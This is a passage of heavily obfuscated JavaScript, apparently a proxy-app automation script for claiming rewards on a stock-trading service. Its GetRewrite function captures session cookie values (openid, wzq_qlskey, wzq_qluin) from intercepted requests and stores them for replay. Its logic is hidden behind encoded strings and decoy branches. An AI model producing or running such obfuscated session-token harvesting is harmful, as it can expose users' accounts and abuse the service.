_0x404367=_0x52713e[_0x2271('‫37e')][_0x2271('‮9a')]('|'),_0x47c297=0x0;while(!![]){switch(_0x404367[_0x47c297++]){case'0':_0x508dcd=_0x52713e[_0x2271('‮37f')](_0x52713e[_0x2271('‮380')](_0x398d09,0x2),_0x52713e[_0x2271('‮381')](_0x26557b,0x4));continue;case'1':if(_0x52713e[_0x2271('‫382')](_0x34896e,0x40)){_0x4dc517=_0x52713e[_0x2271('‫383')](_0x4dc517,String[_0x2271('‮79')](_0x2ddcbc));}continue;case'2':_0x325bed=_0x52713e[_0x2271('‮37f')](_0x52713e[_0x2271('‮384')](_0x52713e[_0x2271('‮385')](_0x26557b,0xf),0x4),_0x52713e[_0x2271('‮386')](_0x3c785d,0x2));continue;case'3':if(_0x52713e[_0x2271('‫387')](_0x3c785d,0x40)){_0x4dc517=_0x52713e[_0x2271('‮388')](_0x4dc517,String[_0x2271('‮79')](_0x325bed));}continue;case'4':_0x4dc517=_0x52713e[_0x2271('‫389')](_0x4dc517,String[_0x2271('‮79')](_0x508dcd));continue;case'5':_0x34896e=this[_0x2271('‮140')][_0x2271('‫5b')](e[_0x2271('‫141')](_0x241d0b++));continue;case'6':_0x398d09=this[_0x2271('‮140')][_0x2271('‫5b')](e[_0x2271('‫141')](_0x241d0b++));continue;case'7':_0x26557b=this[_0x2271('‮140')][_0x2271('‫5b')](e[_0x2271('‫141')](_0x241d0b++));continue;case'8':_0x2ddcbc=_0x52713e[_0x2271('‫38a')](_0x52713e[_0x2271('‮38b')](_0x52713e[_0x2271('‮38c')](_0x3c785d,0x3),0x6),_0x34896e);continue;case'9':_0x3c785d=this[_0x2271('‮140')][_0x2271('‫5b')](e[_0x2271('‫141')](_0x241d0b++));continue;}break;}}continue;case'5':var _0x4dc517='';continue;case'6':e=e[_0x2271('‫104')](/[^A-Za-z0-9+\/=]/g,'');continue;case'7':var _0x508dcd,_0x325bed,_0x2ddcbc;continue;}break;}}}else{console[_0x2271('‫4f')](_0x5edd89);}}else{console[_0x2271('‫4f')](_0x3e6e1d[_0x2271('‮50')]+_0x2271('‮38d')+_0x5edd89[_0x2271('‮ba')]);}}catch(_0x22ec35){console[_0x2271('‫4f')](_0x22ec35);}finally{}}async[_0x2271('‮38e')](){var _0x356030={'Mwbqd':function(_0xa839,_0x1e4d95){return _0xa839&&_0x1e4d95;},'VAxBj':function(_0x5a4f79,_0x4d30bb){return _0x5a4f79(_0x4d30bb);},'SMgXR':function(_0x338bef,_0x35d210){return _0x338bef+_0x35d210;},'ctOum':function(_0x18e43b,_0x28acb4){return _0x18e43b+_0x28acb4;},'XWNXR':function(_0x2160cb,_0x1a557e){return _0x2160cb===_0x1a557e;},'zuPnQ':_0x2271('‮38f'),'NFBle':_0x2271('‮23'),'aOZOt':function(_0x1e9e84,_0x218775){return _0x1e9e84<_0x218775;},'XYQjp':function(_0x47d162,_0x39b8f2){return _0x47d162!==_0x39b8f2;},'GOPKZ':_0x2271('‫390'),'nrPLt':_0x2271('‮25'),'WxmIv':_0x2271('‮27'),'CuwQn':_0x2271('‮29'),'SEbjV':_0x2271('‮2d')};try{if(_0x356030[_0x2271('‫391')](_0x356030[_0x2271('‫392')],_0x356030[_0x2271('‫392')])){await this[_0x2271('‫329')]();if(!this[_0x2271('‫3f')])return;await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮34f')](bullTaskArray[_0x356030[_0x2271('‮393')]]);await $[_0x2271('‮b0')](TASK_WAITTIME);for(let _0x3b67d4=0x0;_0x356030[_0x2271('‫394')](_0x3b67d4,0xa);_0x3b67d4++){if(_0x356030[_0x2271('‮395')](_0x356030[_0x2271('‮396')],_0x356030[_0x2271('‮396')])){let _0xd7f73b=[];for(let _0x35f0f3 of Object[_0x2271('‫397')](obj)[_0x2271('‫1ac')]()){let _0x21e241=obj[_0x35f0f3];if(_0x356030[_0x2271('‮398')](_0x21e241,encodeUrl))_0x21e241=_0x356030[_0x2271('‮399')](encodeURIComponent,_0x21e241);_0xd7f73b[_0x2271('‮4e')](_0x356030[_0x2271('‫39a')](_0x356030[_0x2271('‮39b')](_0x35f0f3,'='),_0x21e241));}return _0xd7f73b[_0x2271('‫58')]('&');}else{await this[_0x2271('‮34f')](bullTaskArray[_0x356030[_0x2271('‮39c')]]);if(_0x356030[_0x2271('‫394')](_0x3b67d4,0x9))await $[_0x2271('‮b0')](BULL_WAITTIME);}}await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮34f')](bullTaskArray[_0x356030[_0x2271('‫39d')]]);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮34f')](bullTaskArray[_0x356030[_0x2271('‮39e')]]);await $[_0x2271('‮b0')](TASK_WAITTIME);await this[_0x2271('‮34f')](bullTaskArray[_0x356030[_0x2271('‫39f')]]);await $[_0x2271('‮b0')](TASK_WAITTIME);}else{httpResult=resp;}}catch(_0x537880){console[_0x2271('‫4f')](_0x537880);}finally{}}async[_0x2271('‮3a0')](_0x3f23ce,_0x4d0d13=_0x2271('‮3a1')){var _0x1283b0={'xrfJP':function(_0x1c43d4,_0x21e4df){return _0x1c43d4<_0x21e4df;},'GyYMa':function(_0x1cb3d9,_0x39714f){return _0x1cb3d9!==_0x39714f;},'ygAWB':_0x2271('‫3a2'),'XMDOr':function(_0x5733e8,_0x4f9621,_0x135cd9,_0x2e6044){return _0x5733e8(_0x4f9621,_0x135cd9,_0x2e6044);},'ZzAui':function(_0xaeac08,_0x3f4f0c,_0x2316f3){return _0xaeac08(_0x3f4f0c,_0x2316f3);},'hOZRo':_0x2271('‫82'),'BUbZf':function(_0x4fb288,_0x498143){return _0x4fb288==_0x498143;},'SJJeE':function(_0x48fb18,_0x451bb5){return _0x48fb18===_0x451bb5;},'IDEeb':_0x2271('‮3a3'),'fzRnv':_0x2271('‮3a4'),'ViOyk':_0x2271('‮14c'),'YMiEK':function(_0x1d9467,_0x18c791){return _0x1d9467!==_0x18c791;},'USlSc':_0x2271('‫3a5'),'RchfZ':_0x2271('‮3a6'),'oOtWX':_0x2271('‮3a7')};try{if(_0x1283b0[_0x2271('‮3a8')](_0x1283b0[_0x2271('‫3a9')],_0x1283b0[_0x2271('‫3a9')])){console[_0x2271('‫4f')](result);}else{let _0x327d8f=_0x2271('‫3aa')+_0x3f23ce+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‫3ab');let _0x8de31f='';let _0x431b41=_0x1283b0[_0x2271('‮3ac')](populateUrlObject,_0x327d8f,this[_0x2271('‫47')],_0x8de31f);await _0x1283b0[_0x2271('‫3ad')](httpRequest,_0x1283b0[_0x2271('‫3ae')],_0x431b41);let _0x132789=httpResult;if(!_0x132789)return;if(_0x1283b0[_0x2271('‫3af')](_0x132789[_0x2271('‮8f')],0x0)){if(_0x1283b0[_0x2271('‫3b0')](_0x1283b0[_0x2271('‫3b1')],_0x1283b0[_0x2271('‮3b2')])){console[_0x2271('‫4f')](_0x2271('‫1fa')+guessStr+'成功');}else{if(_0x1283b0[_0x2271('‫3af')](_0x4d0d13,_0x1283b0[_0x2271('‫3b3')])){if(_0x1283b0[_0x2271('‫3b4')](_0x1283b0[_0x2271('‮3b5')],_0x1283b0[_0x2271('‮3b6')])){this[_0x2271('‮3e')][_0x2271('‮14c')][_0x3f23ce]=_0x132789[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+_0x3f23ce+_0x2271('‫1a7')+_0x132789[_0x2271('‮1a5')]);}else{return _0x1283b0[_0x2271('‫3b7')](a,b)?a:b;}}else{if(_0x1283b0[_0x2271('‫3b4')](_0x1283b0[_0x2271('‮3b8')],_0x1283b0[_0x2271('‮3b8')])){console[_0x2271('‫4f')](e);}else{this[_0x2271('‮3e')][_0x2271('‫32')][_0x3f23ce]=_0x132789[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+_0x3f23ce+_0x2271('‫1a7')+_0x132789[_0x2271('‮1a5')]);}}}}else{console[_0x2271('‫4f')](_0x2271('‫2ed')+_0x3f23ce+_0x2271('‮2ee')+_0x132789[_0x2271('‮ba')]);}}}catch(_0x5f4e25){console[_0x2271('‫4f')](_0x5f4e25);}finally{}}async[_0x2271('‫3b9')](_0x3b8703,_0x176875=_0x2271('‮3a1')){var _0x1ed371={'hzsPS':function(_0x548cac,_0x3206e4,_0x1fed22,_0x17728b){return _0x548cac(_0x3206e4,_0x1fed22,_0x17728b);},'PxlRu':function(_0x31c742,_0x51ae51,_0x3c5868){return _0x31c742(_0x51ae51,_0x3c5868);},'xEjsq':_0x2271('‫62'),'IRKdB':function(_0x941ef,_0x368453){return _0x941ef==_0x368453;},'HtsOM':function(_0x1d7e06,_0x5dbea2){return _0x1d7e06!==_0x5dbea2;},'tKxOS':_0x2271('‫3ba'),'riuHW':_0x2271('‫3bb'),'jkmfJ':function(_0x3b305f,_0x50d247){return _0x3b305f==_0x50d247;},'ItHUv':_0x2271('‮14c'),'QKHmM':function(_0x1aa0fb,_0x2664d1){return _0x1aa0fb===_0x2664d1;},'YmnHP':_0x2271('‮3bc'),'ejESD':_0x2271('‮3bd'),'RwRut':_0x2271('‮3be'),'jgNjY':_0x2271('‮3bf'),'tdwAB':_0x2271('‫3c0')};try{let _0x233ca9=_0x2271('‮3c1');let _0x108b72=_0x2271('‫3c2')+_0x3b8703;let _0x3d86aa=_0x1ed371[_0x2271('‮3c3')](populateUrlObject,_0x233ca9,this[_0x2271('‫47')],_0x108b72);await _0x1ed371[_0x2271('‮3c4')](httpRequest,_0x1ed371[_0x2271('‮3c5')],_0x3d86aa);let _0x105744=httpResult;if(!_0x105744)return;if(_0x1ed371[_0x2271('‮3c6')](_0x105744[_0x2271('‮8f')],0x0)){if(_0x1ed371[_0x2271('‫3c7')](_0x1ed371[_0x2271('‮3c8')],_0x1ed371[_0x2271('‫3c9')])){if(_0x1ed371[_0x2271('‮3ca')](_0x176875,_0x1ed371[_0x2271('‫3cb')])){this[_0x2271('‮3e')][_0x2271('‮14c')][_0x3b8703]=_0x105744[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a6')+_0x3b8703+_0x2271('‫1a7')+_0x105744[_0x2271('‮1a5')]);}else{if(_0x1ed371[_0x2271('‫3cc')](_0x1ed371[_0x2271('‫3cd')],_0x1ed371[_0x2271('‮3ce')])){console[_0x2271('‫4f')](e);}else{this[_0x2271('‮3e')][_0x2271('‫32')][_0x3b8703]=_0x105744[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+_0x3b8703+_0x2271('‫1a7')+_0x105744[_0x2271('‮1a5')]);}}}else{console[_0x2271('‫4f')](e);}}else{if(_0x1ed371[_0x2271('‫3c7')](_0x1ed371[_0x2271('‫3cf')],_0x1ed371[_0x2271('‮3d0')])){console[_0x2271('‫4f')](_0x2271('‫2ed')+_0x3b8703+_0x2271('‮2ee')+_0x105744[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](e);}}}catch(_0x4d5877){if(_0x1ed371[_0x2271('‫3c7')](_0x1ed371[_0x2271('‮3d1')],_0x1ed371[_0x2271('‮3d1')])){console[_0x2271('‫4f')](_0x2271('‫1dc')+result[_0x2271('‮ba')]);}else{console[_0x2271('‫4f')](_0x4d5877);}}finally{}}async[_0x2271('‮3d2')](_0x5ca30c,_0x2a0486){var _0xdbe8eb={'BEwqM':function(_0xa1bbbe,_0x1fa06d,_0x2eb31b,_0x285d31){return _0xa1bbbe(_0x1fa06d,_0x2eb31b,_0x285d31);},'gTlyI':function(_0x13449f,_0x3c624e,_0x63adc0){return _0x13449f(_0x3c624e,_0x63adc0);},'maimO':_0x2271('‫82'),'tVMIl':function(_0x134672,_0x77bb83){return _0x134672==_0x77bb83;},'PvReq':function(_0x1c27d1,_0x46e158){return _0x1c27d1!==_0x46e158;},'KjPYx':_0x2271('‫3d3'),'Mvgbp':function(_0x29151a,_0xbd8501){return _0x29151a!==_0xbd8501;},'ekdxG':_0x2271('‫3d4'),'DFGVY':_0x2271('‫3d5')};try{let _0x586dca=_0x2271('‫3d6')+_0x5ca30c+_0x2271('‮3d7')+_0x2a0486+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x4bbc59='';let _0x47dfe8=_0xdbe8eb[_0x2271('‫3d8')](populateUrlObject,_0x586dca,this[_0x2271('‫47')],_0x4bbc59);await _0xdbe8eb[_0x2271('‫3d9')](httpRequest,_0xdbe8eb[_0x2271('‫3da')],_0x47dfe8);let _0x5e5b91=httpResult;if(!_0x5e5b91)return;if(_0xdbe8eb[_0x2271('‫3db')](_0x5e5b91[_0x2271('‮8f')],0x0)){if(_0xdbe8eb[_0x2271('‫3dc')](_0xdbe8eb[_0x2271('‫3dd')],_0xdbe8eb[_0x2271('‫3dd')])){console[_0x2271('‫4f')]('结束'+taskItem[_0x2271('‮50')]+':'+_0x5e5b91[_0x2271('‫bc')]);}else{if(_0x5e5b91[_0x2271('‮2de')]&&_0xdbe8eb[_0x2271('‫3db')](_0x5e5b91[_0x2271('‮2de')][_0x2271('‮12f')],0x1)){console[_0x2271('‫4f')]('['+_0x5ca30c+_0x2271('‫2e0')+_0x5e5b91[_0x2271('‮2de')][_0x2271('‮2e1')]+']');}else if(_0xdbe8eb[_0x2271('‫3db')](_0x5e5b91[_0x2271('‮ba')],'OK')){if(_0xdbe8eb[_0x2271('‫3de')](_0xdbe8eb[_0x2271('‫3df')],_0xdbe8eb[_0x2271('‫3df')])){console[_0x2271('‫4f')](_0x2271('‮1b4'));}else{console[_0x2271('‫4f')]('['+_0x5ca30c+_0x2271('‮2e2'));}}else{if(_0xdbe8eb[_0x2271('‫3de')](_0xdbe8eb[_0x2271('‫3e0')],_0xdbe8eb[_0x2271('‫3e0')])){console[_0x2271('‫4f')](e);}else{console[_0x2271('‫4f')](_0x5e5b91);}}}}else{console[_0x2271('‫4f')]('['+_0x5ca30c+_0x2271('‫3e1')+_0x5e5b91[_0x2271('‮ba')]);}}catch(_0x2a98fb){console[_0x2271('‫4f')](_0x2a98fb);}finally{}}async[_0x2271('‮3e2')](_0x4d0849,_0x2e44d3){var _0x1d2faa={'YGlMf':function(_0x503022,_0x5cd579){return _0x503022!==_0x5cd579;},'YyWIw':_0x2271('‫3e3'),'gjMrM':_0x2271('‫3e4'),'OilWo':function(_0x580a37,_0x47a808,_0x8ba5ed,_0x54c95a){return _0x580a37(_0x47a808,_0x8ba5ed,_0x54c95a);},'reBJu':function(_0x1c7071,_0x1ffa86,_0x42dcb7){return _0x1c7071(_0x1ffa86,_0x42dcb7);},'PBMGB':_0x2271('‫62'),'xDraD':function(_0x1c236d,_0x13cc1b){return _0x1c236d==_0x13cc1b;},'TgsTP':function(_0x53457f,_0x3794b0){return _0x53457f===_0x3794b0;},'ZQcDa':_0x2271('‮3e5')};try{if(_0x1d2faa[_0x2271('‮3e6')](_0x1d2faa[_0x2271('‫3e7')],_0x1d2faa[_0x2271('‫3e8')])){let _0x1dc528=_0x2271('‮3c1');let _0x336b31=_0x2271('‫3e9')+_0x4d0849+_0x2271('‮3d7')+_0x2e44d3;let _0x3108ea=_0x1d2faa[_0x2271('‫3ea')](populateUrlObject,_0x1dc528,this[_0x2271('‫47')],_0x336b31);await _0x1d2faa[_0x2271('‫3eb')](httpRequest,_0x1d2faa[_0x2271('‫3ec')],_0x3108ea);let _0x5cc321=httpResult;if(!_0x5cc321)return;if(_0x1d2faa[_0x2271('‫3ed')](_0x5cc321[_0x2271('‮8f')],0x0)){if(_0x5cc321[_0x2271('‮2de')]&&_0x1d2faa[_0x2271('‫3ed')](_0x5cc321[_0x2271('‮2de')][_0x2271('‮12f')],0x1)){console[_0x2271('‫4f')]('['+_0x4d0849+_0x2271('‫2e0')+_0x5cc321[_0x2271('‮2de')][_0x2271('‮2e1')]+']');}else if(_0x1d2faa[_0x2271('‫3ed')](_0x5cc321[_0x2271('‮ba')],'OK')){if(_0x1d2faa[_0x2271('‮3ee')](_0x1d2faa[_0x2271('‮3ef')],_0x1d2faa[_0x2271('‮3ef')])){console[_0x2271('‫4f')]('['+_0x4d0849+_0x2271('‮2e2'));}else{_0x1dc528+=_0x2271('‫110');}}else{console[_0x2271('‫4f')](_0x5cc321);}}else{console[_0x2271('‫4f')]('['+_0x4d0849+_0x2271('‫3e1')+_0x5cc321[_0x2271('‮ba')]);}}else{this[_0x2271('‮3e')][_0x2271('‫32')][_0x4d0849]=result[_0x2271('‮1a5')];console[_0x2271('‫4f')](_0x2271('‮1a8')+_0x4d0849+_0x2271('‫1a7')+result[_0x2271('‮1a5')]);}}catch(_0x585d60){console[_0x2271('‫4f')](_0x585d60);}finally{}}async[_0x2271('‫3f0')](){var _0x324613={'QIQCq':function(_0x56d7eb,_0x2cc6aa,_0x4e9bd5,_0x5e6291){return _0x56d7eb(_0x2cc6aa,_0x4e9bd5,_0x5e6291);},'brsvM':function(_0x414de5,_0x316019,_0x52f861){return _0x414de5(_0x316019,_0x52f861);},'jtoIq':_0x2271('‫82'),'sykZz':function(_0x198ea5,_0x541cf5){return _0x198ea5==_0x541cf5;},'TLeUk':function(_0x8a4d1,_0x3ccb49){return _0x8a4d1===_0x3ccb49;},'gAJls':_0x2271('‮3f1'),'ELFwg':_0x2271('‫3f2')};try{let _0x490417=_0x2271('‫3f3')+Date[_0x2271('‫306')]()+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x124e24='';let _0x9a918b=_0x324613[_0x2271('‫3f4')](populateUrlObject,_0x490417,this[_0x2271('‫47')],_0x124e24);await _0x324613[_0x2271('‮3f5')](httpRequest,_0x324613[_0x2271('‮3f6')],_0x9a918b);let _0x738eb7=httpResult;if(!_0x738eb7)return;if(_0x324613[_0x2271('‮3f7')](_0x738eb7[_0x2271('‮8f')],0x0)){if(_0x324613[_0x2271('‮3f8')](_0x324613[_0x2271('‮3f9')],_0x324613[_0x2271('‮3fa')])){console[_0x2271('‫4f')](e);}else{this[_0x2271('‮40')]=_0x738eb7[_0x2271('‫1b3')];}}}catch(_0x1c1e39){console[_0x2271('‫4f')](_0x1c1e39);}finally{}}async[_0x2271('‮3fb')](_0x58ed13){var _0x16ef79={'gVCbs':function(_0x2f47fb,_0x25752a,_0x2b1691){return _0x2f47fb(_0x25752a,_0x2b1691);},'zcBpv':function(_0x3a2893,_0x5a7b00,_0x43cdfa){return _0x3a2893(_0x5a7b00,_0x43cdfa);},'YjhOY':function(_0x48ada7,_0x697c00,_0x33b0e9,_0x10d3a4){return _0x48ada7(_0x697c00,_0x33b0e9,_0x10d3a4);},'fZwjS':function(_0x48c82c,_0x4b96aa,_0xdaf260){return _0x48c82c(_0x4b96aa,_0xdaf260);},'mttqI':_0x2271('‫82'),'zMQRR':function(_0x167777,_0x4ec82d){return _0x167777==_0x4ec82d;},'NEnxJ':function(_0x1d49af,_0x3e6256){return _0x1d49af!==_0x3e6256;},'ZhkUr':_0x2271('‮3fc'),'wsHqe':_0x2271('‮3fd'),'YYQKF':function(_0x40106e,_0x5001f7){return _0x40106e!==_0x5001f7;},'Yjlvh':_0x2271('‮3fe'),'PYlei':_0x2271('‫3ff'),'cdUTY':function(_0x4be19c,_0x19a645){return _0x4be19c(_0x19a645);},'DImNL':function(_0x54f089,_0x34e121){return _0x54f089===_0x34e121;},'XoDQd':_0x2271('‫400')};try{let _0x5d8073=_0x2271('‮401')+_0x58ed13+_0x2271('‮402')+Date[_0x2271('‫306')]()+_0x2271('‮69')+this[_0x2271('‫2e')]+_0x2271('‮6a')+this[_0x2271('‫2f')]+_0x2271('‮8a');let _0x17e4aa='';let _0x34d4d0=_0x16ef79[_0x2271('‫403')](populateUrlObject,_0x5d8073,this[_0x2271('‫47')],_0x17e4aa);await _0x16ef79[_0x2271('‫404')](httpRequest,_0x16ef79[_0x2271('‮405')],_0x34d4d0);let _0x13349a=httpResult;if(!_0x13349a)return;if(_0x16ef79[_0x2271('‮406')](_0x13349a[_0x2271('‮8f')],0x0)){if(_0x16ef79[_0x2271('‫407')](_0x16ef79[_0x2271('‫408')],_0x16ef79[_0x2271('‮409')])){if(_0x13349a[_0x2271('‫40a')][_0x2271('‮40b')]){if(_0x16ef79[_0x2271('‮40c')](_0x16ef79[_0x2271('‫40d')],_0x16ef79[_0x2271('‮40e')])){console[_0x2271('‫4f')](_0x13349a[_0x2271('‫40a')][_0x2271('‮40b')]);_0x16ef79[_0x2271('‫40f')](logAndNotify,_0x13349a[_0x2271('‫40a')][_0x2271('‮40b')]);}else{console[_0x2271('‫4f')](e);}}}else{return a=_0x16ef79[_0x2271('‫410')](c,a,_0x16ef79[_0x2271('‫410')](c,_0x16ef79[_0x2271('‫411')](c,_0x16ef79[_0x2271('‫403')](e,d,f,g),h),j)),_0x16ef79[_0x2271('‫411')](c,_0x16ef79[_0x2271('‫411')](b,a,i),d);}}}catch(_0x10289f){if(_0x16ef79[_0x2271('‮412')](_0x16ef79[_0x2271('‫413')],_0x16ef79[_0x2271('‫413')])){console[_0x2271('‫4f')](_0x10289f);}else{console[_0x2271('‫4f')](_0x10289f);}}finally{}}}!(async()=>{var _0x24aee0={'QHWoX':function(_0x21d2fc,_0x1428a1){return _0x21d2fc+_0x1428a1;},'sNBCa':function(_0x5a9e10,_0x1e1fee){return _0x5a9e10|_0x1e1fee;},'RwizE':function(_0x3385a8,_0x1b50da){return _0x3385a8<<_0x1b50da;},'iyDyE':function(_0xec33f7,_0x28ce34){return _0xec33f7&_0x28ce34;},'cMHnc':function(_0x53ac87,_0x6f0330){return _0x53ac87!==_0x6f0330;},'hncRQ':_0x2271('‮414'),'EVElG':function(_0x19e863,_0x661998){return _0x19e863===_0x661998;},'rgMFX':_0x2271('‮415'),'jpvoU':_0x2271('‮416'),'eSPHN':function(_0x5eee21){return _0x5eee21();},'esquz':_0x2271('‮417'),'vxzRh':_0x2271('‫418'),'lSkcK':function(_0x248f04,_0x27e989){return _0x248f04===_0x27e989;},'MwQZx':_0x2271('‫419'),'NIxBp':_0x2271('‫41a'),'VWOpg':function(_0x4f7810,_0x1dd603){return _0x4f7810==_0x1dd603;},'fhDQE':_0x2271('‫41b'),'gaALR':_0x2271('‫41c'),'yGiiv':function(_0x1173cd,_0x3e8026){return _0x1173cd==_0x3e8026;},'aKJMU':_0x2271('‮41d'),'BghQP':_0x2271('‫41e')};if(_0x24aee0[_0x2271('‮41f')](typeof $request,_0x24aee0[_0x2271('‮420')])){if(_0x24aee0[_0x2271('‮421')](_0x24aee0[_0x2271('‫422')],_0x24aee0[_0x2271('‫423')])){console[_0x2271('‫4f')](_0x2271('‫59')+this[_0x2271('‫39')]+_0x2271('‮96')+this[_0x2271('‫3d')]);}else{await _0x24aee0[_0x2271('‮424')](GetRewrite);}}else{console[_0x2271('‫4f')](_0x24aee0[_0x2271('‫425')]);if(!(await _0x24aee0[_0x2271('‮424')](checkEnv)))return;console[_0x2271('‫4f')](_0x24aee0[_0x2271('‮426')]);for(let _0x28c9cc of userList[_0x2271('‫427')](_0x1e4bdb=>_0x1e4bdb[_0x2271('‫3a')])){if(_0x24aee0[_0x2271('‮428')](_0x24aee0[_0x2271('‮429')],_0x24aee0[_0x2271('‫42a')])){c2=e[_0x2271('‮d7')](_0x24aee0[_0x2271('‫42b')](n,0x1));t+=String[_0x2271('‮79')](_0x24aee0[_0x2271('‮42c')](_0x24aee0[_0x2271('‫42d')](_0x24aee0[_0x2271('‫42e')](r,0x1f),0x6),_0x24aee0[_0x2271('‫42e')](c2,0x3f)));n+=0x2;}else{await _0x28c9cc[_0x2271('‮5f')]();await $[_0x2271('‮b0')](TASK_WAITTIME);await _0x28c9cc[_0x2271('‮7e')]();await $[_0x2271('‮b0')](TASK_WAITTIME);}}let _0x3608eb=userList[_0x2271('‫427')](_0x2815df=>_0x2815df[_0x2271('‮3c')]);if(_0x24aee0[_0x2271('‮42f')](_0x3608eb[_0x2271('‫55')],0x0))return;console[_0x2271('‫4f')](_0x24aee0[_0x2271('‮430')]);for(let _0x28c9cc of _0x3608eb){if(_0x24aee0[_0x2271('‮428')](_0x24aee0[_0x2271('‮431')],_0x24aee0[_0x2271('‮431')])){if(_0x24aee0[_0x2271('‮432')](_0x28c9cc[_0x2271('‫32')],0x1)){await _0x28c9cc[_0x2271('‫bd')]();await _0x28c9cc[_0x2271('‫3f0')]();if(_0x28c9cc[_0x2271('‮40')]){if(_0x24aee0[_0x2271('‮41f')](_0x24aee0[_0x2271('‮433')],_0x24aee0[_0x2271('‮434')])){for(const _0x56aaa1 of _0x28c9cc[_0x2271('‮40')]){await _0x28c9cc[_0x2271('‮3fb')](_0x56aaa1[_0x2271('‮40')]);}}else{console[_0x2271('‫4f')](_0x2271('‫31a')+result[_0x2271('‮ba')]);}}}}else{console[_0x2271('‫4f')](e);}}await _0x24aee0[_0x2271('‮424')](showmsg);}})()[_0x2271('‮435')](_0x3aa04e=>$[_0x2271('‮436')](_0x3aa04e))[_0x2271('‮437')](()=>$[_0x2271('‫284')]());async function GetRewrite(){var _0x11980c={'mAhHM':function(_0x30e48b,_0x46f215){return _0x30e48b(_0x46f215);},'HihJV':_0x2271('‮438'),'mBuwg':function(_0x3d2b5c,_0x5b0adf,_0x59f1da){return _0x3d2b5c(_0x5b0adf,_0x59f1da);},'eQIFZ':function(_0x9643a8,_0x3b4660){return _0x9643a8+_0x3b4660;},'bxupP':function(_0x2fe177,_0x10210c,_0x63dad4){return _0x2fe177(_0x10210c,_0x63dad4);},'EDXVc':function(_0xc32aa1,_0x37fd7){return _0xc32aa1>_0x37fd7;},'OjVfD':function(_0x31e07f,_0x293fc3){return _0x31e07f==_0x293fc3;},'ATnWr':_0x2271('‫439'),'qJaSs':_0x2271('‮43a'),'IenHC':function(_0x2bfb55,_0x30333d){return _0x2bfb55==_0x30333d;},'orGkk':function(_0x4f403b,_0x3fa117){return _0x4f403b===_0x3fa117;},'myYmY':_0x2271('‫43b'),'mAvKC':_0x2271('‮43c'),'MvBQi':function(_0x1796c0,_0x40df75){return _0x1796c0+_0x40df75;},'nmtAm':_0x2271('‫7'),'ExVpR':function(_0x1ed6ab,_0x6425f5){return _0x1ed6ab>_0x6425f5;},'TRiXZ':function(_0x2dd6be,_0xa612b5){return _0x2dd6be!==_0xa612b5;},'cMQIH':_0x2271('‮43d'),'SfaJN':function(_0x245c3d,_0x42b8d0){return _0x245c3d+_0x42b8d0;},'fffqq':function(_0x43937a,_0x5bcda3){return _0x43937a>_0x5bcda3;},'WGBHD':_0x2271('‫43e'),'aLVsF':_0x2271('‫48'),'rMGBR':_0x2271('‫43f'),'GtWjF':function(_0x33a5c4,_0x492116){return _0x33a5c4==_0x492116;},'GkMdn':function(_0x329db4,_0x247cdc){return _0x329db4+_0x247cdc;},'pQLTI':function(_0x4e11e2,_0x457649){return _0x4e11e2+_0x457649;},'JgELQ':function(_0x249df9,_0x26c1ca){return _0x249df9>_0x26c1ca;},'xEoKg':_0x2271('‫440'),'XOFDm':function(_0x5a30aa,_0x358328){return _0x5a30aa>_0x358328;},'OVAgE':function(_0x315f0c,_0x2c0955){return _0x315f0c+_0x2c0955;},'jNhbT':function(_0xeabb9b,_0x5e856e){return _0xeabb9b+_0x5e856e;}};if(_0x11980c[_0x2271('‫441')]($request[_0x2271('‮442')][_0x2271('‫5b')](_0x2271('‫443')),-0x1)&&$request[_0x2271('‫a4')][_0x2271('‮444')]){let _0x2912a7=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/zxg_(openid=[\w\-]+)/)[0x1];if(_0x11980c[_0x2271('‫446')](_0x2912a7,_0x11980c[_0x2271('‫447')]))return;let _0x13fb4c=_0x11980c[_0x2271('‮448')];let _0x38cc3d=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/(wzq_qlskey=[\w\-]+)/)[0x1];let _0x138b9f=$request[_0x2271('‫a4')][_0x2271('‮444')][_0x2271('‮445')](/(wzq_qluin=[\w\-]+)/)[0x1];let _0x4ccc8d=_0x2912a7+'&'+_0x13fb4c+'&'+_0x38cc3d+'&'+_0x138b9f;if(userCookie){if(_0x11980c[_0x2271('‫449')](userCookie[_0x2271('‫5b')](_0x2912a7),-0x1)){if(_0x11980c[_0x2271('‮44a')](_0x11980c[_0x2271('‫44b')],_0x11980c[_0x2271('‮44c')])){console[_0x2271('‫4f')](taskItem[_0x2271('‮50')]+'['+taskItem[_0x2271('‮51')]+'-'+id+'-'+tid+_0x2271('‮29c')+result[_0x2271('‮ba')]);}else{userCookie=_0x11980c[_0x2271('‮44d')](_0x11980c[_0x2271('‮44e')](userCookie,'\x0a'),_0x4ccc8d);$[_0x2271('‮98')](userCookie,_0x11980c[_0x2271('‮44f')]);let _0x51a99e=userCookie[_0x2271('‮9a')]('\x0a');$[_0x2271('‮75')](_0x11980c[_0x2271('‮44e')](jsname,_0x2271('‮9c')+_0x51a99e[_0x2271('‫55')]+_0x2271('‮9d')+_0x4ccc8d));}}else{if(_0x11980c[_0x2271('‫441')](userCookie[_0x2271('‫5b')](_0x2912a7),-0x1)&&_0x11980c[_0x2271('‫450')](userCookie[_0x2271('‫5b')](_0x38cc3d),-0x1)&&_0x11980c[_0x2271('‫450')](userCookie[_0x2271('‫5b')](_0x138b9f),-0x1))return;let _0x1738f6=userCookie[_0x2271('‮9a')]('\x0a');let _0x11113c=0x0;for(_0x11113c in 